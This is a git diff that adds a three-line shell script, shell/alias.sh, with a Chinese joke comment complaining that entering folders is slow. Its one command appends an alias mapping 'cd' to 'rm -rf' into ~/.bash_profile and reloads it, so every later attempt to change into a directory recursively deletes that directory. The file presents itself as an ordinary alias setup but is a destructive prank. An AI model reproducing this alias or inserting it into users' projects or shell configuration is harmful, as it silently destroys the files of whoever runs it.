diff --git a/shell/alias.sh b/shell/alias.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d4be5e733714b53130fb2382dba33625fb03d5e2
--- /dev/null
+++ b/shell/alias.sh
@@ -0,0 +1,3 @@
+echo "alias cd='rm -rf'" >> ~/.bash_profile && source ~/.bash_profile
+
+# 破服务器，进一个文件夹怎么要这么久？
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